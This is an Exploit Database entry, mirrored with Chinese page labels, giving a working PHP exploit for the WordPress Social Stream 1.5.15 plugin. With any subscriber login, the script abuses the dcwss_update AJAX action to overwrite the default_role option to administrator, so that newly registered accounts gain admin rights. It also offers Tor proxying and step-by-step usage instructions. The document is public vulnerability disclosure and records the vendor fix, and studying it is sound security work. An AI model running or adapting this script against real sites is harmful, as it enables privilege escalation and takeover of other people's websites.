WordPress Plugin Social Stream 1.5.15 – wp_options Overwrite

• Exploit Database
• 16 阅读

• 作者： wp0Day.com
  日期： 2016-06-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39946/

• <?php
  /**
   * Exploit Title: WordPress Social StreamExploit
   * Google Dork:
   * Exploit Author: wp0Day.com <contact@wp0day.com>
   * Vendor Homepage:
   * Software Link: http://codecanyon.net/item/wordpress-social-stream/2201708?s_rank=15
   * Version: 1.5.15
   * Tested on: Debian 8, PHP 5.6.17-3
   * Type: Authenticated wp_options overwrite
   * Time line: Found [14-May-2016], Vendor notified [14-May-2016], Vendor fixed: [v1.5.16 19/05/2016 (Current Version)],[RD:1465606136]
   */
  
  
  require_once('curl.php');
  //OR
  //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
  $curl = new CurlWrapper();
  
  
  $options = getopt("t:m:u:p:f:c:",array('tor:'));
  print_r($options);
  $options = validateInput($options);
  
  if (!$options){
  showHelp();
  }
  
  if ($options['tor'] === true)
  {
  echo " ### USING TOR ###\n";
  echo "Setting TOR Proxy...\n";
  $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
  $curl->addOption(CURLOPT_PROXYTYPE,7);
  echo "Checking IPv4 Address\n";
  $curl->get('https://dynamicdns.park-your-domain.com/getip');
  echo "Got IP : ".$curl->getResponse()."\n";
  echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
  $answer = fgets(fopen ("php://stdin","r"));
  if(trim($answer) != 'wololo'){
  die("Aborting!\n");
  }
  echo "OK...\n";
  }
  
  
  function logIn(){
  global $curl, $options;
  file_put_contents('cookies.txt',"\n");
  $curl->setCookieFile('cookies.txt');
  $curl->get($options['t']);
  $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
  $curl->post($options['t'].'/wp-login.php', $data);
  $status =$curl->getTransferInfo('http_code');
  if ($status !== 302){
  echo "Login probably failed, aborting...\n";
  echo "Login response saved to login.html.\n";
  die();
  }
  file_put_contents('login.html',$curl->getResponse());
  
  
  }
  
  function exploit(){
  global $curl, $options;
  if ($options['m'] == 'admin_on'){
  echo "\nEnabling Admin mode\n";
  $data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'administrator' );
  $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
  $resp = $curl->getResponse();
  echo "Response: ". $resp."\n";
  
  }
  if ($options['m'] == 'admin_off'){
  echo "\nDisabling Admin mode\n";
  $data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'subscriber' );
  $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
  $resp = $curl->getResponse();
  echo "Response: ". $resp."\n";
  
  }
  }
  
  
  logIn();
  exploit();
  
  
  
  function validateInput($options){
  
  if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
  return false;
  }
  if ( !isset($options['u']) ){
  return false;
  }
  if ( !isset($options['p']) ){
  return false;
  }
  if (!preg_match('~/$~',$options['t'])){
  $options['t'] = $options['t'].'/';
  }
  if (!isset($options['m']) || !in_array($options['m'], array('admin_on','admin_off') ) ){
  return false;
  }
  if ($options['m'] == 'r' && !isset($options['f'])){
  return false;
  }
  $options['tor'] = isset($options['tor']);
  
  return $options;
  }
  
  
  function showHelp(){
  global $argv;
  $help = <<<EOD
  
  WordPress Social StreamExpoit Pack
  
  Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]
  
   *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
  
   [TARGET_URL] http://localhost/wordpress/
   [MODE] admin_on - Sets default role on registration to Administrator
  admin_off - Sets default role on registration to Subscriber
  
  Exploit Flow: Call the exploit with -m admin_on, and register a user manually.
  After registration call the exploit agiain with -m admin_off .
  
  
  
  Examples:
   php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m admin_on
  
  Misc:
   CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
   @link http://github.com/svyatov/CurlWrapper
   @license http://www.opensource.org/licenses/mit-license.html MIT License
  
  EOD;
  echo $help."\n\n";
  die();
  }